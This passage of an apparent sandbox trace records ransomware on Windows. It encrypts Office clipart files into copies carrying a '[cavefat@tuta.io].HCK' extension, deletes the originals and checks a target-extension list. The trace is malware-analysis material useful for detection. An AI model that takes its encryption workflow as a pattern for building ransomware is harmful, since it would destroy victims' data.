office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.551] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.551] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.563] GetLastError () returned 0x0 [0169.563] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7d26, lpOverlapped=0x0) returned 1 [0169.567] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7d30, lpOverlapped=0x0) returned 1 [0169.568] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.568] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.568] SetEndOfFile (hFile=0x330) returned 1 [0169.575] CloseHandle (hObject=0x330) returned 1 [0169.578] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.578] SetEndOfFile (hFile=0x39c) returned 1 [0169.584] CloseHandle (hObject=0x39c) returned 1 [0169.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".doc") returned 4 [0169.595] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.595] lstrlenW (lpString=".docx") returned 5 [0169.595] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0169.595] lstrlenW (lpString=".pdf") returned 4 [0169.595] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.595] lstrlenW (lpString=".xls") returned 4 [0169.595] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.595] lstrlenW (lpString=".xlsx") returned 5 [0169.595] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0169.595] lstrlenW (lpString=".ppt") returned 4 [0169.595] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".zip") returned 4 [0169.595] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.595] lstrlenW (lpString=".rar") returned 4 [0169.595] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.595] lstrlenW (lpString=".bz2") returned 4 [0169.595] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.595] lstrlenW (lpString=".7z") returned 3 [0169.595] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".dbf") returned 4 [0169.595] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".1cd") returned 4 [0169.595] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".jpg") returned 4 [0169.595] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.595] lstrlenW (lpString=".doc") returned 4 [0169.595] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.595] lstrlenW (lpString=".docx") returned 5 [0169.595] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0169.595] lstrlenW (lpString=".pdf") returned 4 [0169.595] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.596] lstrlenW (lpString=".xls") returned 4 [0169.596] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.596] lstrlenW (lpString=".xlsx") returned 5 [0169.596] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0169.596] lstrlenW (lpString=".ppt") returned 4 [0169.596] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.596] lstrlenW (lpString=".zip") returned 4 [0169.596] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.596] lstrlenW (lpString=".rar") returned 4 [0169.596] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.596] lstrlenW (lpString=".bz2") returned 4 [0169.596] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.596] lstrlenW (lpString=".7z") returned 3 [0169.596] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.596] lstrlenW (lpString=".dbf") returned 4 [0169.596] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.596] lstrlenW (lpString=".1cd") returned 4 [0169.596] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0169.596] lstrlenW (lpString=".jpg") returned 4 [0169.596] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.596] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.596] lstrlenW (lpString="J0182888.WMF") returned 12 [0169.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.604] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24392) returned 1 [0169.604] CloseHandle (hObject=0x330) returned 1 [0169.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 0x220 [0169.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.628] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.628] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.645] GetLastError () returned 0x0 [0169.645] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5f48, lpOverlapped=0x0) returned 1 [0169.647] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5f50, lpOverlapped=0x0) returned 1 [0169.647] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.647] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.648] SetEndOfFile (hFile=0x39c) returned 1 [0169.652] CloseHandle (hObject=0x39c) returned 1 [0169.652] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.652] SetEndOfFile (hFile=0x354) returned 1 [0169.656] CloseHandle (hObject=0x354) returned 1 [0169.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString=".doc") returned 4 [0169.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString=".docx") returned 5 [0169.695] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.695] lstrlenW (lpString=".pdf") returned 4 [0169.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString=".xls") returned 4 [0169.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.695] lstrlenW (lpString=".xlsx") returned 5 [0169.695] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.695] lstrlenW (lpString=".ppt") returned 4 [0169.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString=".zip") returned 4 [0169.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.695] lstrlenW (lpString=".rar") returned 4 [0169.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString=".bz2") returned 4 [0169.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString=".7z") returned 3 [0169.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString=".dbf") returned 4 [0169.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString=".1cd") returned 4 [0169.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.695] lstrlenW (lpString=".jpg") returned 4 [0169.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString=".doc") returned 4 [0169.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString=".docx") returned 5 [0169.696] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.696] lstrlenW (lpString=".pdf") returned 4 [0169.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString=".xls") returned 4 [0169.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.696] lstrlenW (lpString=".xlsx") returned 5 [0169.696] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.696] lstrlenW (lpString=".ppt") returned 4 [0169.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString=".zip") returned 4 [0169.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.696] lstrlenW (lpString=".rar") returned 4 [0169.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString=".bz2") returned 4 [0169.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString=".7z") returned 3 [0169.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString=".dbf") returned 4 [0169.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString=".1cd") returned 4 [0169.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0169.696] lstrlenW (lpString=".jpg") returned 4 [0169.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.696] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.696] lstrlenW (lpString="J0183172.WMF") returned 12 [0169.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.706] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29788) returned 1 [0169.706] CloseHandle (hObject=0x378) returned 1 [0169.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 0x220 [0169.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.729] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.730] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.754] GetLastError () returned 0x0 [0169.754] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x745c, lpOverlapped=0x0) returned 1 [0169.757] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7460, lpOverlapped=0x0) returned 1 [0169.758] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.758] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.758] SetEndOfFile (hFile=0x354) returned 1 [0169.764] CloseHandle (hObject=0x354) returned 1 [0169.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.765] SetEndOfFile (hFile=0x388) returned 1 [0169.769] CloseHandle (hObject=0x388) returned 1 [0169.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".doc") returned 4 [0169.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString=".docx") returned 5 [0169.781] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.781] lstrlenW (lpString=".pdf") returned 4 [0169.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString=".xls") returned 4 [0169.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.781] lstrlenW (lpString=".xlsx") returned 5 [0169.781] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.781] lstrlenW (lpString=".ppt") returned 4 [0169.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".zip") returned 4 [0169.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.781] lstrlenW (lpString=".rar") returned 4 [0169.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString=".bz2") returned 4 [0169.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString=".7z") returned 3 [0169.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".dbf") returned 4 [0169.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".1cd") returned 4 [0169.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".jpg") returned 4 [0169.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.781] lstrlenW (lpString=".doc") returned 4 [0169.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.781] lstrlenW (lpString=".docx") returned 5 [0169.782] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.782] lstrlenW (lpString=".pdf") returned 4 [0169.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString=".xls") returned 4 [0169.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.782] lstrlenW (lpString=".xlsx") returned 5 [0169.782] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.782] lstrlenW (lpString=".ppt") returned 4 [0169.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.782] lstrlenW (lpString=".zip") returned 4 [0169.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.782] lstrlenW (lpString=".rar") returned 4 [0169.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString=".bz2") returned 4 [0169.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString=".7z") returned 3 [0169.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.782] lstrlenW (lpString=".dbf") returned 4 [0169.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.782] lstrlenW (lpString=".1cd") returned 4 [0169.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0169.782] lstrlenW (lpString=".jpg") returned 4 [0169.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.782] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.782] lstrlenW (lpString="J0185670.WMF") returned 12 [0169.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.790] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7304) returned 1 [0169.790] CloseHandle (hObject=0x354) returned 1 [0169.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 0x220 [0169.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.808] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 